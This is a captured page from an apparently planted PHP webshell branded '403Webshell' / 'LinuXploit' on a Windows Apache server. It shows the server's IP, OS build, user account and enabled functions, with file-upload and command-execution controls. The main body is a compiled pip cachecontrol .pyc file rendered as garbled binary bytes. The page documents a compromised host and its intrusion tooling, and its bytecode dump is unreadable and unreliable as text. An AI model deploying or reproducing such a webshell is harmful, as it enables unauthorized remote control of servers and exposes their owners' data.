403Webshell
Server IP : 127.0.0.1  /  Your IP : 216.73.216.109
Web Server : Apache/2.4.54 (Win64) OpenSSL/1.1.1q PHP/8.1.10
System : Windows NT DESKTOP-E5T4RUN 10.0 build 19045 (Windows 10) AMD64
User : SERVERWEB ( 0)
PHP Version : 8.1.10
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : OFF |  Perl : OFF |  Python : OFF |  Sudo : OFF |  Pkexec : OFF
Directory :  C:/cygwin64/lib/python3.9/site-packages/pip/_vendor/cachecontrol/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : C:/cygwin64/lib/python3.9/site-packages/pip/_vendor/cachecontrol/__pycache__/cache.cpython-39.pyc
a

X��e��@srdZddlmZddlmZddlmZmZmZer@ddl	m	Z	Gdd�d�Z
Gdd	�d	e
�ZGd
d�de
�ZdS)
zb
The cache object API for implementing caches. The default is a thread
safe in-memory dictionary.
�)�annotations)�Lock)�IO�
TYPE_CHECKING�MutableMapping)�datetimec@sPeZdZddd�dd�Zddddd	d
�dd�Zdd	d�d
d�Zd	d�dd�ZdS)�	BaseCache�str�bytes | None��key�returncCs
t��dS�N��NotImplementedError��selfr�r�B/usr/lib/python3.9/site-packages/pip/_vendor/cachecontrol/cache.py�getsz
BaseCache.getN�bytes�int | datetime | None�None�r�value�expiresr
cCs
t��dSrr�rrrrrrr�setsz
BaseCache.setcCs
t��dSrrrrrr�deleteszBaseCache.delete)r
cCsdSrr)rrrr�closeszBaseCache.close)N)�__name__�
__module__�__qualname__rrrrrrrrrs
�rc@sTeZdZdddd�dd�Zddd	�d
d�Zdddd
dd�dd�Zddd	�dd�ZdS)�	DictCacheNz!MutableMapping[str, bytes] | Noner)�	init_dictr
cCst�|_|pi|_dSr)r�lock�data)rr$rrr�__init__#szDictCache.__init__r	r
rcCs|j�|d�Sr)r&rrrrrr'sz
DictCache.getrrrcCs:|j� |j�||i�Wd�n1s,0YdSr)r%r&�updaterrrrr*sz
DictCache.setcCs@|j�&||jvr|j�|�Wd�n1s20YdSr)r%r&�poprrrrr0s
zDictCache.delete)N)N)r r!r"r'rrrrrrrr#"s
�r#c@s2eZdZdZdddd�dd�Zddd	�d
d�ZdS)
�SeparateBodyBaseCacheag
    In this variant, the body is not stored mixed in with the metadata, but is
    passed in (as a bytes-like object) in a separate call to ``set_body()``.

    That is, the expected interaction pattern is::

        cache.set(key, serialized_metadata)
        cache.set_body(key)

    Similarly, the body should be loaded separately via ``get_body()``.
    r	rr)r�bodyr
cCs
t��dSrr)rrr+rrr�set_bodyCszSeparateBodyBaseCache.set_bodyzIO[bytes] | NonercCs
t��dS)z6
        Return the body as file-like object.
        Nrrrrr�get_bodyFszSeparateBodyBaseCache.get_bodyN)r r!r"�__doc__r,r-rrrrr*6sr*N)
r.Z
__future__r�	threadingr�typingrrrrrr#r*rrrr�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit